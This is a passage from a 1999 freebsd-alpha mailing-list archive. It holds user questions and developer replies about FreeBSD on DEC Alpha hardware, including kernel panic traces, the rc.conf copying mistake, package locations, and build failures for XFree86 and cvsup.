out of file descriptors > Enter full pathname of shell or RETURN for /bin/sh: > > What is up with this, I though the command "boot -fl a dka0" would boot me > into multi-user mode and whats with the "out of file descriptors" message? This subtle error message exists so that we can laugh at you for making a very stupid mistake. You copied /etc/defaults/rc.conf to /etc/rc.conf DO NOT DO THIS! -- \\ Sometimes you're ahead, \\ Mike Smith \\ sometimes you're behind. \\ mike@smith.net.au \\ The race is long, and in the \\ msmith@freebsd.org \\ end it's only with yourself. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Mon Apr 26 18: 4:46 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 2748A152F4 for ; Mon, 26 Apr 1999 18:04:43 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from feral.com (mjacob@feral.com [192.67.166.1]) by feral.com (8.8.7/8.8.7) with ESMTP id SAA18344 for ; Mon, 26 Apr 1999 18:04:30 -0700 Date: Mon, 26 Apr 1999 18:04:30 -0700 (PWT) From: Matthew Jacob Reply-To: mjacob@feral.com To: freebsd-alpha@freebsd.org Subject: icky poo...instruction fault in kernel mode.... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Multia, today's kernel sources (with Matt's patches from a couple weeks ago still), doing a buildworld (source across NFS, /usr/obj local): fatal kernel trap: trap entry = 0x3 (instruction fault) a0 = 0x4 a1 = 0x5 a2 = 0xfffffc0000424228 pc = 0xfffffc00005f9ba0 ra = 0xfffffc0000378b44 curproc = 0xfffffe000393a9a0 pid = 2953, comm = sh ddbprinttrap from 0xfffffc00005f9ba0 ddbprinttrap(0x4, 0x5, 0xfffffc0000424228, 0x3) panic: trap panic Stopped at Debugger..ng+0x24: ldq ra,0(sp) <0xfffffe0003d256c0> db> t Debugger..ng() at Debugger..ng+0x24 panic..ng() at panic..ng+0xf0 trap..ng() at trap..ng+0x674 XentIF() at XentIF+0x20 callout_reset..ng() at callout_reset..ng+0x34 (null)() at 0x6 db> x/i 0xfffffc0000378b44 callout_reset..ng+0x34: ldah gp,0x20(ra) db> x/i 0xfffffc00005f9ba0 0xfffffc00005f9ba0: ftois ra,#0xfa,v0 db> 0xfffffc0000424228 ? db> x/i 0xfffffc0000424228 nfs_timer: ldah gp,0x15(pv) db> :c Anyone see this one recently? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 1:46:41 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 13B0014D5B for ; Tue, 27 Apr 1999 01:46:38 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id JAA37624; Tue, 27 Apr 1999 09:46:02 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Tue, 27 Apr 1999 09:45:53 +0100 (BST) From: Doug Rabson To: Dmitrij Tejblum Cc: Dmitrij Tejblum , freebsd-alpha@freebsd.org Subject: Re: "I-stream memory barrier" In-Reply-To: <199904262024.AAA38299@arc.hq.cti.ru> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 27 Apr 1999, Dmitrij Tejblum wrote: > > I'm pretty sure that I-cache lines are tagged with ASNs. The Linux kernel > > only calls imb() when it runs out of ASNs > > Well, you are right, even comments in the NetBSD pmap say so. Nevertheles, > they call alpha_pal_imb() a lot - there should be a reason for that. > Also, take a look at Linux' ev5_flush_tlb_current_page() - it flush whole ASN > when it have to flush something executable, rather than do a TBIS. > > > and if it didn't work properly, > > I doubt that a system could survive even a single threaded make world, let > > alone -j20. > > This is not very convincing :-). I have seen as single threaded make world fail > mysteriously. (That is exactly why I started to look at the issue :-). I think you are right. If you want to tackle fixing this, I would suggest modifying pmap_invalidate_page to take the old pte value as an extra argument and using the NetBSD trick of a software PG_EXEC bit in the pte to mark executable pages. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 9:55:47 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 8BDF01516F for ; Tue, 27 Apr 1999 09:55:45 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-38.cybcon.com [205.147.76.39]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id JAA00752 for ; Tue, 27 Apr 1999 09:55:44 -0700 (PDT) From: "William Woods" To: "FreeBSD Alpha" Subject: Packages for Alpha??? Date: Tue, 27 Apr 1999 09:55:35 -0700 Message-ID: <000101be90ce$c4f006c0$274c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I remember hearing something about pre-made packages for the alpha......where were they at again? William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 9:55:49 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 9BB0A151CA for ; Tue, 27 Apr 1999 09:55:44 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-38.cybcon.com [205.147.76.39]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id JAA00749 for ; Tue, 27 Apr 1999 09:55:43 -0700 (PDT) From: "William Woods" To: "FreeBSD Alpha" Subject: Compiling XFree on an alpha.. Date: Tue, 27 Apr 1999 09:55:34 -0700 Message-ID: <000001be90ce$c4504450$274c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Someone here pointed out to me a web page with a patch that makes compiling Xfree on an alpha possible....would you mind sending that again.... William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 9:59:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from swp5.gs.com (swp5.gs.com [192.246.9.39]) by hub.freebsd.org (Postfix) with ESMTP id 9F63E151CA for ; Tue, 27 Apr 1999 09:59:17 -0700 (PDT) (envelope-from Wally.Koscielny@gs.com) Received: from swp5.gs.com (root@localhost) by swp5.gs.com with ESMTP id MAA13041; Tue, 27 Apr 1999 12:59:15 -0400 (EDT) Received: from nbcppsh02.wan.gs.com ([199.29.246.34]) by swp5.gs.com with ESMTP id MAA13031; Tue, 27 Apr 1999 12:59:14 -0400 (EDT) Received: from nbcppsh01.wan.gs.com (nbcppsh01.wan.gs.com [138.8.220.34]) by nbcppsh02.wan.gs.com (8.9.1a/8.9.0/dmzpo1) with ESMTP id MAA05305; Tue, 27 Apr 1999 12:59:28 -0400 (EDT) Received: from gsny24e.et.gs.com (gsny24e.et.gs.com [138.8.115.34]) by nbcppsh01.wan.gs.com (8.9.1a/8.9.0/postoffice1) with ESMTP id MAA14097; Tue, 27 Apr 1999 12:59:13 -0400 (EDT) Received: by gsny24e.et.gs.com with Internet Mail Service (5.0.1460.8) id ; Tue, 27 Apr 1999 12:59:11 -0400 Message-ID: From: "Koscielny, Wally" To: "'William Woods'" , FreeBSD Alpha Subject: RE: Packages for Alpha??? Date: Tue, 27 Apr 1999 12:59:10 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org From what I remember they are at ftp://ftp.freebsd.org/pub/FreeBSD/ports/alpha/packages or packages-4-current. > -----Original Message----- > From: William Woods [SMTP:wwoods@cybcon.com] > Sent: Tuesday, April 27, 1999 12:56 PM > To: FreeBSD Alpha > Subject: Packages for Alpha??? > > I remember hearing something about pre-made packages for the > alpha......where were they at again? > > William > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 10: 4:45 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id EF33515408 for ; Tue, 27 Apr 1999 10:04:43 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id MAA00227; Tue, 27 Apr 1999 12:04:41 -0500 (CDT) Date: Tue, 27 Apr 1999 12:04:41 -0500 (CDT) From: Steve Price To: William Woods Cc: FreeBSD Alpha Subject: Re: Compiling XFree on an alpha.. In-Reply-To: <000001be90ce$c4504450$274c93cd@william> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org http://www.freebsd.org/~dfr On Tue, 27 Apr 1999, William Woods wrote: # Someone here pointed out to me a web page with a patch that makes compiling # Xfree on an alpha possible....would you mind sending that again.... # # William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 10:11:50 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id C0CB61539E for ; Tue, 27 Apr 1999 10:11:48 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id MAA14900; Tue, 27 Apr 1999 12:11:46 -0500 (CDT) Date: Tue, 27 Apr 1999 12:11:46 -0500 (CDT) From: Steve Price To: William Woods Cc: FreeBSD Alpha Subject: Re: Packages for Alpha??? In-Reply-To: <000101be90ce$c4f006c0$274c93cd@william> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Tue, 27 Apr 1999, William Woods wrote: # I remember hearing something about pre-made packages for the # alpha......where were they at again? ftp://ftp.freebsd.org/pub/FreeBSD/ports/alpha/packages/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 13:39:58 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id A0AAF14CF6 for ; Tue, 27 Apr 1999 13:39:55 -0700 (PDT) (envelope-from tlambert@usr04.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.8.8/8.8.8) id NAA19413; Tue, 27 Apr 1999 13:39:51 -0700 (MST) Received: from usr04.primenet.com(206.165.6.204) via SMTP by smtp04.primenet.com, id smtpd019333; Tue Apr 27 13:39:40 1999 Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id NAA06561; Tue, 27 Apr 1999 13:39:39 -0700 (MST) From: Terry Lambert Message-Id: <199904272039.NAA06561@usr04.primenet.com> Subject: Re: sound on AS200 "Avanti"? To: tsprad@set.spradley.tmi.net (Ted Spradley) Date: Tue, 27 Apr 1999 20:39:39 +0000 (GMT) Cc: freebsd-alpha@FreeBSD.ORG In-Reply-To: <199904251544.KAA02569@set.spradley.tmi.net> from "Ted Spradley" at Apr 25, 99 10:44:49 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > My AS200-4/233 came from OnSale.com last summer with a little "Windows > compatible sound" board with a Crystal CS4231A-KL chip. I added this to > my kernel config: > > controller pnp0 > device pcm0 at isa0 port 0x530 tty irq 9 drq 0 flags 0x11 > > but 'boot -v' yields no mention of pnp or pcm in dmesg. > > Is this just not supported, or am I missing something? For what it's worth, the Crystal Semiconductor chips are what are used on the Motorolla PowerStack and other PReP compliant systems. You may find some documentation from the LinuxPPC or NetBSD PPC projects. Back when I was porting FreeBSD to the Motorolla PowerStack (using PPCBug instead of Open Firmware), Crystal Semiconductor was very forthcoming with datasheets for all of the CS chips on board the hardware. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 13:42:56 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from smtp02.primenet.com (smtp02.primenet.com [206.165.6.132]) by hub.freebsd.org (Postfix) with ESMTP id 01FA114CF6 for ; Tue, 27 Apr 1999 13:42:46 -0700 (PDT) (envelope-from tlambert@usr04.primenet.com) Received: (from daemon@localhost) by smtp02.primenet.com (8.8.8/8.8.8) id NAA23877; Tue, 27 Apr 1999 13:42:41 -0700 (MST) Received: from usr04.primenet.com(206.165.6.204) via SMTP by smtp02.primenet.com, id smtpd023824; Tue Apr 27 13:42:36 1999 Received: (from tlambert@localhost) by usr04.primenet.com (8.8.5/8.8.5) id NAA06795; Tue, 27 Apr 1999 13:42:30 -0700 (MST) From: Terry Lambert Message-Id: <199904272042.NAA06795@usr04.primenet.com> Subject: Re: silo overflows...... To: dfr@nlsystems.com (Doug Rabson) Date: Tue, 27 Apr 1999 20:42:29 +0000 (GMT) Cc: wwoods@cybcon.com, freebsd-alpha@FreeBSD.ORG In-Reply-To: from "Doug Rabson" at Apr 25, 99 07:16:28 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > I have been out of the loop for a couple days.....did anyone ever come up > > with a "quick fix" for the silo overflows when useing an external modem on > > com1? I tried lowering the baud rate all the way down to 19200 and still > > had the same problem. > > I'm starting to think that something else is wrong with this. Its almost > as if interrupts are not being delivered to the sio driver. The driver has > a poll function which will read characters (I think) but not very often. > > As an experiment, could you put a print statement in siointr() to see if > it ever gets entered. Somone posted patches to this list a while back that enabled the "fast interrupt" stuff for the alpha. It got broken when the bus space stuff went into -current. I think it hasn't been unbroken. In my experience, the patches worked fine. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 14: 7:43 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 91B9B15150 for ; Tue, 27 Apr 1999 14:07:41 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-31.cybcon.com [205.147.76.32]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id OAA17088; Tue, 27 Apr 1999 14:07:32 -0700 (PDT) From: "William Woods" To: "Terry Lambert" , "Doug Rabson" Cc: Subject: RE: silo overflows...... Date: Tue, 27 Apr 1999 14:07:22 -0700 Message-ID: <000101be90f1$f1ba7780$204c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: <199904272042.NAA06795@usr04.primenet.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Cool.....ahh...you wouldent happen to have the laying around would ya? William -----Original Message----- From: owner-freebsd-alpha@FreeBSD.ORG [mailto:owner-freebsd-alpha@FreeBSD.ORG]On Behalf Of Terry Lambert Sent: Tuesday, April 27, 1999 1:42 PM To: Doug Rabson Cc: wwoods@cybcon.com; freebsd-alpha@FreeBSD.ORG Subject: Re: silo overflows...... > > I have been out of the loop for a couple days.....did anyone ever come up > > with a "quick fix" for the silo overflows when useing an external modem on > > com1? I tried lowering the baud rate all the way down to 19200 and still > > had the same problem. > > I'm starting to think that something else is wrong with this. Its almost > as if interrupts are not being delivered to the sio driver. The driver has > a poll function which will read characters (I think) but not very often. > > As an experiment, could you put a print statement in siointr() to see if > it ever gets entered. Somone posted patches to this list a while back that enabled the "fast interrupt" stuff for the alpha. It got broken when the bus space stuff went into -current. I think it hasn't been unbroken. In my experience, the patches worked fine. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 19:24:23 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id AB20D14F18 for ; Tue, 27 Apr 1999 19:24:21 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-2.cybcon.com [205.147.76.3]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id TAA07164; Tue, 27 Apr 1999 19:24:11 -0700 (PDT) From: "William Woods" To: "Koscielny, Wally" , "FreeBSD Alpha" Subject: RE: Packages for Alpha??? Date: Tue, 27 Apr 1999 19:24:01 -0700 Message-ID: <000101be911e$2df57520$034c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Well, I just tried to compile X with the patches on this page and nothing.... GCC Version = 2.7.2.3 I also did the file copy like the page suggested. These are the errors I got: -------------------------- Makefile: missing dependancy operators "575" "584" "570" fatal errors can not continue. ------------------------------ Thanks, William -----Original Message----- From: Koscielny, Wally [mailto:Wally.Koscielny@gs.com] Sent: Tuesday, April 27, 1999 9:59 AM To: 'William Woods'; FreeBSD Alpha Subject: RE: Packages for Alpha??? >From what I remember they are at ftp://ftp.freebsd.org/pub/FreeBSD/ports/alpha/packages or packages-4-current. > -----Original Message----- > From: William Woods [SMTP:wwoods@cybcon.com] > Sent: Tuesday, April 27, 1999 12:56 PM > To: FreeBSD Alpha > Subject: Packages for Alpha??? > > I remember hearing something about pre-made packages for the > alpha......where were they at again? > > William > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 20: 4:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.cybcon.com (mail.cybcon.com [205.147.64.46]) by hub.freebsd.org (Postfix) with ESMTP id 9DBA414CA4 for ; Tue, 27 Apr 1999 20:04:35 -0700 (PDT) (envelope-from wwoods@cybcon.com) Received: from william (usr1-2.cybcon.com [205.147.76.3]) by mail.cybcon.com (8.9.0/8.9.0) with SMTP id UAA09572 for ; Tue, 27 Apr 1999 20:04:29 -0700 (PDT) From: "William Woods" To: "FreeBSD Alpha" Subject: CVSUP on an alpha....cant build Date: Tue, 27 Apr 1999 20:04:20 -0700 Message-ID: <000301be9123$cf75a870$034c93cd@william> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org OK, I am trying to build cvsup on an Alpha 200 4/233 I am useing gcc 2.7.2.3 and for some reason it is NOT building at all. I have tried to build it WITH Xfree support and Xfree dies, that is a seperate issue I am working on, when I try to build cvsup with the NO_X11=1 option, it craps out again. I am going to try to capture the errors and will send em if I can, untill then...anyone have a working cvsup package I can get :) or point me in some direction as to what is wrong? William To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Tue Apr 27 20:57:54 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 33CFE14E0F for ; Tue, 27 Apr 1999 20:57:52 -0700 (PDT) (envelope-from sprice@hiwaay.net) Received: from localhost (sprice@localhost) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id WAA24915; Tue, 27 Apr 1999 22:57:50 -0500 (CDT) Date: Tue, 27 Apr 1999 22:57:50 -0500 (CDT) From: Steve Price To: William Woods Cc: FreeBSD Alpha Subject: Re: CVSUP on an alpha....cant build In-Reply-To: <000301be9123$cf75a870$034c93cd@william> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org http://www.freebsd.org/~jdp/cvsup-alpha/ On Tue, 27 Apr 1999, William Woods wrote: # OK, I am trying to build cvsup on an Alpha 200 4/233 # I am useing gcc 2.7.2.3 and for some reason it is NOT building at all. # I have tried to build it WITH Xfree support and Xfree dies, that is a # seperate issue I am working on, when I try to build cvsup with the NO_X11=1 # option, it craps out again. I am going to try to capture the errors and will # send em if I can, untill then...anyone have a working cvsup package I can # get :) or point me in some direction as to what is wrong? # # William # # # # To Unsubscribe: send mail to majordomo@FreeBSD.org # with "unsubscribe freebsd-alpha" in the body of the message # To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 28 14:47:13 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mailc.telia.com (mailc.telia.com [194.22.190.4]) by hub.freebsd.org (Postfix) with ESMTP id 2BAD214D38 for ; Wed, 28 Apr 1999 14:47:05 -0700 (PDT) (envelope-from khaled@mailbox.telia.net) Received: from mailbox.telia.net (khaled@mailbox.telia.net [194.237.170.234]) by mailc.telia.com (8.8.8/8.8.8) with ESMTP id XAA04946 for ; Wed, 28 Apr 1999 23:47:05 +0200 (CEST) Received: from localhost (khaled@localhost) by mailbox.telia.net (8.9.1/8.8.5) with SMTP id XAA23080 for ; Wed, 28 Apr 1999 23:47:10 +0200 (CEST) Date: Wed, 28 Apr 1999 23:47:10 +0200 (CEST) From: Khaled Daham To: freebsd-alpha@freebsd.org Subject: fatal kernel traps Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi Ive tried to build a kernel with a cvsupped world as of today(Apr 28) But it drops into the debugger after doing scsi delay sc0: VGA color <16 virtual consoles, flags=0x0> Timecounter "alpha" frequency 531914893 Hz Waiting 5 seconds for SCSI devices to settle fatal kernel trap: trap entry = 0x2 (memory mangement fault) a0 = 0x120 a1 = 0x1 a2 = 0x0 pc = 0xfffffc000036490c ra = 0xfffffc000036a948 curproc = 0 ddbprinttrap from 0xffffffc000036490c ddbprinttrap(0x120, 0x1, 0x0,0x2) panic: trap panic Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffc000052baf0> if I at the prompt step through to the next command it enables de0 (I hear the click) another step and i get another panic. if I wade through next , the second next hangs the machine (It also enables de0 as I hear the click), sometimes it issues a halt so i get back to SRM. Ive tried 5 different kernel configs now , none of them was without de0 wich I assume might be causing this. Any hints ? btw what is the diff between next and step really , Ive never used the kernel debugger before , though it has alot of resemblance to asm-one's debugger I used on the amiga years ago :) /Khaled, Telia Network Services Mail: khaled@telia.net Cell: 070-6785492 Work: 08-4567281 :hacker: /n./ [originally, someone who makes furniture with an axe] To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Wed Apr 28 16: 4:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from helios.dnttm.ru (dnttm-gw.rssi.ru [193.232.0.205]) by hub.freebsd.org (Postfix) with ESMTP id E3B33157B4 for ; Wed, 28 Apr 1999 16:04:09 -0700 (PDT) (envelope-from dima@tejblum.dnttm.rssi.ru) Received: (from uucp@localhost) by helios.dnttm.ru (8.9.1/8.9.1/IP-3) with UUCP id CAA02678; Thu, 29 Apr 1999 02:55:55 +0400 Received: from tejblum.dnttm.rssi.ru (localhost [127.0.0.1]) by tejblum.dnttm.rssi.ru (8.9.3/8.9.1) with ESMTP id CAA02234; Thu, 29 Apr 1999 02:57:50 +0400 (MSD) (envelope-from dima@tejblum.dnttm.rssi.ru) Message-Id: <199904282257.CAA02234@tejblum.dnttm.rssi.ru> X-Mailer: exmh version 2.0gamma 1/27/96 To: Khaled Daham Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: fatal kernel traps In-reply-to: Your message of "Wed, 28 Apr 1999 23:47:10 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 29 Apr 1999 02:57:49 +0400 From: Dmitrij Tejblum Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Khaled Daham wrote: > Hi > > Ive tried to build a kernel with a cvsupped world as of today(Apr 28) > But it drops into the debugger after doing scsi delay > > sc0: VGA color <16 virtual consoles, flags=0x0> > Timecounter "alpha" frequency 531914893 Hz > Waiting 5 seconds for SCSI devices to settle > > fatal kernel trap: > > trap entry = 0x2 (memory mangement fault) > a0 = 0x120 > a1 = 0x1 > a2 = 0x0 > pc = 0xfffffc000036490c > ra = 0xfffffc000036a948 > curproc = 0 > > ddbprinttrap from 0xffffffc000036490c > ddbprinttrap(0x120, 0x1, 0x0,0x2) > panic: trap > panic > Stopped at Debugger+0x2c: ldq ra,0(sp) <0xfffffc000052baf0> > It is normal today. This breakage caused by the commit from 1999/04/07 18:04 PDT. It is not de0 or any other hardware related. It should be fixed soon, perhaps tomorrow. Dima To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 2:25:30 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from voruta.vu.lt (voruta.vu.lt [193.219.40.13]) by hub.freebsd.org (Postfix) with ESMTP id 9C38D14F2F for ; Thu, 29 Apr 1999 02:25:22 -0700 (PDT) (envelope-from rr041ff@voruta.vu.lt) Received: from rr041ff@localhost as by voruta.vu.lt (8.9.1/VU-980813) id LAA19479 for ; Thu, 29 Apr 1999 11:24:55 +0200 (MET DST) Date: Thu, 29 Apr 1999 11:24:55 +0200 (MET DST) From: Rimantas Rakauskas X-Sender: rr041ff@voruta To: freebsd-alpha@FreeBSD.ORG Subject: RE: Packages for Alpha??? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Dear Sirs and Madams, I also heard about something about pre-made packages for alpha... And I'd like to ask all of You, if there are such packages for OEM motherboards. If there're, where could I find them ? Regards - Rimantas R. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Thu Apr 29 4:10:41 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from mailg.telia.com (mailg.telia.com [194.22.194.26]) by hub.freebsd.org (Postfix) with ESMTP id CD8A514E62 for ; Thu, 29 Apr 1999 04:10:33 -0700 (PDT) (envelope-from khaled@mailbox.telia.net) Received: from mailbox.telia.net (khaled@mailbox.telia.net [194.237.170.234]) by mailg.telia.com (8.8.5/8.8.8) with ESMTP id NAA04365; Thu, 29 Apr 1999 13:10:27 +0200 (CEST) Received: from localhost (khaled@localhost) by mailbox.telia.net (8.9.1/8.8.5) with SMTP id NAA01056; Thu, 29 Apr 1999 13:10:33 +0200 (CEST) Date: Thu, 29 Apr 1999 13:10:32 +0200 (CEST) From: Khaled Daham To: Dmitrij Tejblum Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: fatal kernel traps In-Reply-To: 